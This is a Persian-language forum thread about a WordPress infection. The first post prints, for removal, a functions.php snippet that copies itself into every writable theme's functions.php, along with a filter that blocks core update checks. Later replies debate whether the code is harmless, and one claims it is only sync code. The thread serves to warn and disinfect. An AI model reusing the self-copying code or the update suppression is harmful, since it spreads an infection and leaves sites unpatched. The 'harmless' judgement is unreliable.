نمایش نتایج: از شماره 1 تا 8 , از مجموع 8

موضوع: کد مخرب وردپرس و لود بالای سایت

  1. #1
    عضو دائم sazsaz آواتار ها
    تاریخ عضویت
    Aug 2011
    محل سکونت
    بندر گناوه
    نوشته ها
    1,123
    تشکر تشکر کرده 
    296
    تشکر تشکر شده 
    1,265
    تشکر شده در
    861 پست

    پیش فرض کد مخرب وردپرس و لود بالای سایت

    دوستان عزیز سلام
    ممکن است سایت شما فشاری بالا بر روی سرور آورده و چند باز نیز از سمت سرور بسته شده باشد
    یکی از دلایلی که این فشار بیش از حد به سرور شما می آید کد بسیار مخربی است که در زیر گذاشته شده است
    لطفا functions.php قالب سایت خود را باز کرده و کد زیر اگر وجود دارد پاک کنید
    کد:
    کد PHP:
    <?php
    function _checkactive_widgets(){
        
    $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
        
    $output=strip_tags($output$allowed);
        
    $direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
        if (
    is_array($direst)){
            foreach (
    $direst as $item){
                if (
    is_writable($item)){
                    
    $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
                    
    $cont=file_get_contents($item);
                    if (
    stripos($cont,$ftion) === false){
                        
    $comaar=stripossubstr($cont,-20),"?".">") !== false "" "?".">";
                        
    $output .= $before "Not found" $after;
                        if (
    stripossubstr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
                        
    $output=rtrim($output"\n\t");  fputs($f=fopen($item,"w+"),$cont $comaar "\n" .$widget);fclose($f);                 
                        
    $output .= ($isshowdots && $ellipsis) ? "..." "";
                    }
                }
            }
        }
        return 
    $output;
    }
    function 
    _get_allwidgets_cont($wids,$items=array()){
        
    $places=array_shift($wids);
        if(
    substr($places,-1) == "/"){
            
    $places=substr($places,0,-1);
        }
        if(!
    file_exists($places) || !is_dir($places)){
            return 
    false;
        }elseif(
    is_readable($places)){
            
    $elems=scandir($places);
            foreach (
    $elems as $elem){
                if (
    $elem != "." && $elem != ".."){
                    if (
    is_dir($places "/" $elem)){
                        
    $wids[]=$places "/" $elem;
                    } elseif (
    is_file($places "/" $elem)&& 
                        
    $elem == substr(__FILE__,-13)){
                        
    $items[]=$places "/" $elem;}
                    }
                }
        }else{
            return 
    false;    
        }
        if (
    sizeof($wids) > 0){
            return 
    _get_allwidgets_cont($wids,$items);
        } else {
            return 
    $items;
        }
    }
    if(!
    function_exists("stripos")){ 
        function 
    stripos(  $str$needle$offset 0  ){ 
            return 
    strpos(  strtolower$str ), strtolower$needle ), $offset  ); 
        }
    }

    if(!
    function_exists("strripos")){ 
        function 
    strripos(  $haystack$needle$offset 0  ) { 
            if(  !
    is_string$needle )  )$needle chr(  intval$needle )  ); 
            if(  
    $offset 0  ){ 
                
    $temp_cut strrev(  substr$haystack0abs($offset) )  ); 
            } 
            else{ 
                
    $temp_cut strrev(    substr(   $haystack0max(  ( strlen($haystack) - $offset ), 0  )   )    ); 
            } 
            if(   (  
    $found stripos$temp_cutstrrev($needle) )  ) === FALSE   )return FALSE
            
    $pos = (   strlen(  $haystack  ) - (  $found $offset strlen$needle )  )   ); 
            return 
    $pos
        }
    }
    if(!
    function_exists("scandir")){ 
        function 
    scandir($dir,$listDirectories=false$skipDots=true) {
            
    $dirArray = array();
            if (
    $handle opendir($dir)) {
                while (
    false !== ($file readdir($handle))) {
                    if ((
    $file != "." && $file != "..") || $skipDots == true) {
                        if(
    $listDirectories == false) { if(is_dir($file)) { continue; } }
                        
    array_push($dirArray,basename($file));
                    }
                }
                
    closedir($handle);
            }
            return 
    $dirArray;
        }
    }
    add_action("admin_head""_checkactive_widgets");

    add_action("init""_getprepare_widget");

    function 
    __popular_posts($no_posts=6$before="<li>"$after="</li>"$show_pass_post=false$duration="") {
        global 
    $wpdb;
        
    $request="SELECT ID, post_title,  COUNT($wpdb->comments.comment_post_ID) AS "comment_count" FROM  $wpdb->posts$wpdb->comments";
        
    $request .= " WHERE comment_approved="1" AND  $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND  post_status="publish"";
        if(!
    $show_pass_post$request .= " AND post_password =""";
        if(
    $duration !="") { 
            
    $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
        }
        
    $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
        
    $posts=$wpdb->get_results($request);
        
    $output="";
        if (
    $posts) {
            foreach (
    $posts as $post) {
                
    $post_title=stripslashes($post->post_title);
                
    $comment_count=$post->comment_count;
                
    $permalink=get_permalink($post->ID);
                
    $output .= $before " <a href="" . $permalink . ""  title="" . $post_title."">" $post_title "</a> " $after;
            }
        } else {
            
    $output .= $before "None found" $after;
        }
        return  
    $output;


    function 
    short_title(){
     
    $chars_limit=20;
     
    $text=get_the_title();
     
    $chars_len strlen($text);
     
    $stext=mb_substr($text,0,$chars_limit,"utf-8");
     if(
    $chars_len $chars_limit){
     echo 
    $stext."...";
     }else{
     echo 
    $text;
     }
    }

    function 
    new_excerpt_more$more ) {
        return 
    '...';
    }
    add_filter('excerpt_more''new_excerpt_more');

    function 
    custom_excerpt_length$length ) {
        return 
    30;
    }
    add_filter'excerpt_length''custom_excerpt_length'999 );

    // Remove Width and Height Attributes From Inserted Images
    add_filter'post_thumbnail_html''remove_width_attribute'10 );
    add_filter'image_send_to_editor''remove_width_attribute'10 );

    function 
    remove_width_attribute$html ) {
       
    $html preg_replace'/(width|height)="\d*"\s/'""$html );
       return 
    $html;
    }

    add_filter'pre_site_transient_update_core'create_function'$a'"return null;" ) );


    @
    ini_set'upload_max_size' '64M' );
    @
    ini_set'post_max_size''64M');
    @
    ini_set'max_execution_time''300' );

    ?>
    لازم به ذکر است که این کد بطور وحشتناک تکثیر می گردد و اگر یک سایت این مشکل را داشته باشد به بقیه سایت ها نیز سرایت می کند

    منبع : انجمن وردپرس ایرانی

  2. تعداد تشکر ها ازsazsaz به دلیل پست مفید


  3. # ADS




     

  4. #2
    عضو دائم sazsaz آواتار ها
    تاریخ عضویت
    Aug 2011
    محل سکونت
    بندر گناوه
    نوشته ها
    1,123
    تشکر تشکر کرده 
    296
    تشکر تشکر شده 
    1,265
    تشکر شده در
    861 پست

    پیش فرض پاسخ : کد مخرب وردپرس و لود بالای سایت

    دوستان عزیز هر کدام در این زمینه مشکلی داشتند اعلام کنند

  5. #3
    عضو دائم T.Toosi آواتار ها
    تاریخ عضویت
    Jun 2015
    نوشته ها
    1,071
    تشکر تشکر کرده 
    278
    تشکر تشکر شده 
    2,936
    تشکر شده در
    1,329 پست

    پیش فرض پاسخ : کد مخرب وردپرس و لود بالای سایت

    باسلام، کد مخربی مشاهده نشد، فقط متد _checkactive_widgets در هر بار شدن داشبورد ادمین، بررسی می کند در function.php تمام قالب های روی وردپرس این متد وجود دارد یا خیر، در صورتی عدم وجود کل function.php را کپی می کند که احتمالا برنامه نویس هدفی از این کار داشته است یا کد های شما ناقص است و چیزی از قلم افتاده است.

  6. #4
    عضو دائم sazsaz آواتار ها
    تاریخ عضویت
    Aug 2011
    محل سکونت
    بندر گناوه
    نوشته ها
    1,123
    تشکر تشکر کرده 
    296
    تشکر تشکر شده 
    1,265
    تشکر شده در
    861 پست

    پیش فرض پاسخ : کد مخرب وردپرس و لود بالای سایت

    جناب طوسی این کد درسته از نظر ویروس بودن برای آنتی شلر ها و آنتی ویروس ها ویروس تلقی نمی شه ولی کارکرد این کد در قالب وردپرس چه سودی داره ؟
    1- هیچ سوذ
    2- باعث اسکن کلیه شاخه ها و زیر شاخه ها می شه ؟ (لود بسیار بالای رم و سی پی یو )
    3- این کد نمی تونه توسط کاربری روی سایتش افزوده شده باشه ( اتوماتیک و ناخواسته اضافه می شه )

    شما به این نوع کد چه می گید ؟ مخرب نیست ؟ فشار به cpu نمی یاره ؟

  7. #5
    عضو دائم T.Toosi آواتار ها
    تاریخ عضویت
    Jun 2015
    نوشته ها
    1,071
    تشکر تشکر کرده 
    278
    تشکر تشکر شده 
    2,936
    تشکر شده در
    1,329 پست

    پیش فرض پاسخ : کد مخرب وردپرس و لود بالای سایت

    نقل قول نوشته اصلی توسط sazsaz نمایش پست ها
    جناب طوسی این کد درسته از نظر ویروس بودن برای آنتی شلر ها و آنتی ویروس ها ویروس تلقی نمی شه ولی کارکرد این کد در قالب وردپرس چه سودی داره ؟
    1- هیچ سوذ
    2- باعث اسکن کلیه شاخه ها و زیر شاخه ها می شه ؟ (لود بسیار بالای رم و سی پی یو )
    3- این کد نمی تونه توسط کاربری روی سایتش افزوده شده باشه ( اتوماتیک و ناخواسته اضافه می شه )

    شما به این نوع کد چه می گید ؟ مخرب نیست ؟ فشار به cpu نمی یاره ؟
    باسلام، scandir هیچ فشاری بروی سرور شما نمیاره همچنین یک عملیات compare در این متد دارد که اونم مشکلی ندارد (مگر function.php بالای 10mb باشد تا این عملیات compare فشار بیاورد) همچنین این متد فقط با ورود به داشبورد اجرا خواهد شد، اگر این متد با ورود هر کاربر در صفحه اصلی اجرا می شد و سایت پربازدید بود می توان گفت بیشتر باید بروی آن بررسی شود، اما همانطور که گفتم به احتمال زیاد برنامه نویس هدفی داشته است و یا کد های شما ناقص است برای همین نمی شود نتیجه گیری کرد اما در کل کد های بالا هیچ خطری ندارد.

  8. تعداد تشکر ها ازT.Toosi به دلیل پست مفید


  9. #6
    عضو دائم sazsaz آواتار ها
    تاریخ عضویت
    Aug 2011
    محل سکونت
    بندر گناوه
    نوشته ها
    1,123
    تشکر تشکر کرده 
    296
    تشکر تشکر شده 
    1,265
    تشکر شده در
    861 پست

    پیش فرض پاسخ : کد مخرب وردپرس و لود بالای سایت

    نقل قول نوشته اصلی توسط T.Toosi نمایش پست ها
    باسلام، scandir هیچ فشاری بروی سرور شما نمیاره همچنین یک عملیات compare در این متد دارد که اونم مشکلی ندارد (مگر function.php بالای 10mb باشد تا این عملیات compare فشار بیاورد) همچنین این متد فقط با ورود به داشبورد اجرا خواهد شد، اگر این متد با ورود هر کاربر در صفحه اصلی اجرا می شد و سایت پربازدید بود می توان گفت بیشتر باید بروی آن بررسی شود، اما همانطور که گفتم به احتمال زیاد برنامه نویس هدفی داشته است و یا کد های شما ناقص است برای همین نمی شود نتیجه گیری کرد اما در کل کد های بالا هیچ خطری ندارد.
    حرف شما صحیح
    ولی این صحیح بودن در همه جا صدق نمی کنه
    این کد در بیش از 80 درصد باعث خرابی در یک سایت وردپرسی هست البته منم به این گفته شما بسیار موافقم که فرمودید(( برنامه نویس هدفی داشته است )) اما متاسفانه در ایران ما فقط نال و ریپ و کپی((متاسفانه توی دنیا بیشترین سایت های هک شده را داریم ))
    مثلا برخی از این لینک ها را توجه کنید
    https://focustech.it/wordpress-error..._widgets-70353
    https://forums.digitalpoint.com/thre...files.2382272/
    https://www.webdesignermonza.com/wor...irect-194.html
    (لازم به ذکر است که در تمام سایت های ایرانی فقط می گن حذف کنید و یکی نگفته این از کجا اومده - دریغ از کمی فکر)
    این متن را در گوگل سرچ کنید
    رفع خطای function _check_active_widget

  10. #7
    عضو دائم T.Toosi آواتار ها
    تاریخ عضویت
    Jun 2015
    نوشته ها
    1,071
    تشکر تشکر کرده 
    278
    تشکر تشکر شده 
    2,936
    تشکر شده در
    1,329 پست

    پیش فرض پاسخ : کد مخرب وردپرس و لود بالای سایت

    نقل قول نوشته اصلی توسط sazsaz نمایش پست ها
    حرف شما صحیح
    ولی این صحیح بودن در همه جا صدق نمی کنه
    این کد در بیش از 80 درصد باعث خرابی در یک سایت وردپرسی هست البته منم به این گفته شما بسیار موافقم که فرمودید(( برنامه نویس هدفی داشته است )) اما متاسفانه در ایران ما فقط نال و ریپ و کپی((متاسفانه توی دنیا بیشترین سایت های هک شده را داریم ))
    مثلا برخی از این لینک ها را توجه کنید
    https://focustech.it/wordpress-error..._widgets-70353
    https://forums.digitalpoint.com/thre...files.2382272/
    https://www.webdesignermonza.com/wor...irect-194.html
    (لازم به ذکر است که در تمام سایت های ایرانی فقط می گن حذف کنید و یکی نگفته این از کجا اومده - دریغ از کمی فکر)
    این متن را در گوگل سرچ کنید
    رفع خطای function _check_active_widget
    باسلام،

    آدرس هایی که دادید مشاهده کردم بیشتر مشکلات به خاطر redeclare است و اینکه چون خودش را کپی می کند دوباره مشکل بر میگردد از آن به اسم ویروس و malware یاد شده است اما در واقعیت اگر لاین به لاین بررسی کنید کد ها خیلی تمیز نوشته شده است و به احتمال زیاد هدف برنامه نویس سینک کردن متد ها داخل تمام قالب ها بوده است و حتی در لاین 12 ، تعداد قالب هایی که متد در آن پیدا نشده در function را برای دیباگ مقدار گذاری کرده است، همانطور که اشاره کردید این تکه کد دست به دست چرخیده است(ریپ و کپی و ..) و نتیجه الان شده است.

  11. تعداد تشکر ها ازT.Toosi به دلیل پست مفید


  12. #8
    عضو انجمن
    تاریخ عضویت
    Sep 2017
    نوشته ها
    120
    تشکر تشکر کرده 
    49
    تشکر تشکر شده 
    84
    تشکر شده در
    67 پست

    پیش فرض پاسخ : کد مخرب وردپرس و لود بالای سایت

    این کدها با اولین نصب قالب بطور اتوماتیک در فایل فانکشن ایجاد میشه
    بهترین راه حل اینکه پرمیشن فایل فانکشن روی 444 قرار بدید
    ⭐⭐ فروش سایت همکاری در فروش فایل با اسکریپت اختصاصی ⭐⭐
    فروش سایت با درآمد 8 میلیون تومان در ماه ⭐ فروخته شد


اطلاعات موضوع

کاربرانی که در حال مشاهده این موضوع هستند

در حال حاضر 1 کاربر در حال مشاهده این موضوع است. (0 کاربران و 1 مهمان ها)

مجوز های ارسال و ویرایش

  • شما نمیتوانید موضوع جدیدی ارسال کنید
  • شما امکان ارسال پاسخ را ندارید
  • شما نمیتوانید فایل پیوست کنید.
  • شما نمیتوانید پست های خود را ویرایش کنید
  •